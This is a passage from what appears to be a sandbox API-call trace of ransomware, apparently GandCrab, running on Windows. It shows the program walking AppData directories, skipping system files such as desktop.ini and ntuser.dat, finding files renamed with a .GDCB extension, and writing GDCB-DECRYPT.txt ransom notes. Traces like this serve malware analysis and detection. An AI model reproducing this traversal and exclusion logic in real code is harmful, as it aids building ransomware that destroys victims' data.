returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*" [0135.450] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7640 [0135.450] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.450] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.451] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.451] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.451] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.451] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.451] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.451] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt" [0135.451] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.451] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0135.451] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0135.451] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0135.451] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.451] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.451] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.451] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.451] lstrcmpW (lpString1="sonar_policy.xml.GDCB", lpString2=".") returned 1 [0135.451] lstrcmpW (lpString1="sonar_policy.xml.GDCB", lpString2="..") returned 1 [0135.451] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="sonar_policy.xml.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB" [0135.451] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.451] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB") returned 80 [0135.451] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB") returned 80 [0135.451] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.452] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.452] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.452] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.452] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.452] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0135.452] FindClose (in: hFindFile=0x2c7a80 | out: hFindFile=0x2c7a80) returned 1 [0135.452] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.452] lstrcmpW (lpString1="CztjLRmT.bmp.GDCB", lpString2=".") returned 1 [0135.452] lstrcmpW (lpString1="CztjLRmT.bmp.GDCB", lpString2="..") returned 1 [0135.452] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="CztjLRmT.bmp.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB" [0135.452] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.452] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB") returned 55 [0135.452] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB") returned 55 [0135.452] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.452] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.452] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif.GDCB", lpString2=".") returned 1 [0135.452] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif.GDCB", lpString2="..") returned 1 [0135.452] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ExocxBlrLmuRHv.gif.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB" [0135.452] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.452] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB") returned 61 [0135.453] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB") returned 61 [0135.453] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.453] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.453] lstrcmpW (lpString1="FCmH0Q4.bmp.GDCB", lpString2=".") returned 1 [0135.453] lstrcmpW (lpString1="FCmH0Q4.bmp.GDCB", lpString2="..") returned 1 [0135.453] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="FCmH0Q4.bmp.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB" [0135.453] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.453] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB") returned 54 [0135.453] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB") returned 54 [0135.453] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.453] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.453] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.453] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.453] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt" [0135.453] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.453] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0135.453] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0135.453] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0135.453] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0135.453] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.453] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.453] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.453] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.453] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.453] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.454] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.454] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.454] lstrcmpW (lpString1="Identities", lpString2=".") returned 1 [0135.454] lstrcmpW (lpString1="Identities", lpString2="..") returned 1 [0135.454] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0135.454] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\" [0135.454] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.454] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.454] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.454] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.454] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.454] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.454] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned 49 [0135.454] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*" [0135.454] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x2c7640 [0135.455] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.455] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.455] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.455] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.455] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.455] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.455] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.455] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt" [0135.455] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0135.455] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.455] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.455] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2=".") returned 1 [0135.455] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="..") returned 1 [0135.455] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0135.455] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned 87 [0135.455] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0135.455] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.455] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.455] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\\\GDCB-DECRYPT.txt") returned 66 [0135.455] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\identities\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.456] GetLastError () returned 0x50 [0135.456] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.456] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned 49 [0135.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*" [0135.456] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x2c7780 [0135.456] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.456] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.456] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.456] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.456] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.456] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.456] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt" [0135.456] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.456] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0135.456] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0135.457] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0135.457] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.457] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.457] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.457] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2=".") returned 1 [0135.457] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="..") returned 1 [0135.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0135.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\" [0135.457] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.457] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.457] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.457] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.457] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.457] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.457] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned 88 [0135.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*" [0135.457] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.458] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.458] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.458] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.458] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.458] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.458] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.458] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt" [0135.458] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0135.458] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.458] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.458] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.459] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.459] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\\\GDCB-DECRYPT.txt") returned 105 [0135.459] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\identities\\{ca8ca1bb-f2a6-4e9c-b7cc-fb56671763e8}\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.459] GetLastError () returned 0x50 [0135.459] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.459] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned 88 [0135.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*" [0135.459] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.459] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.459] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.459] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.459] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.459] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.459] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.459] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") 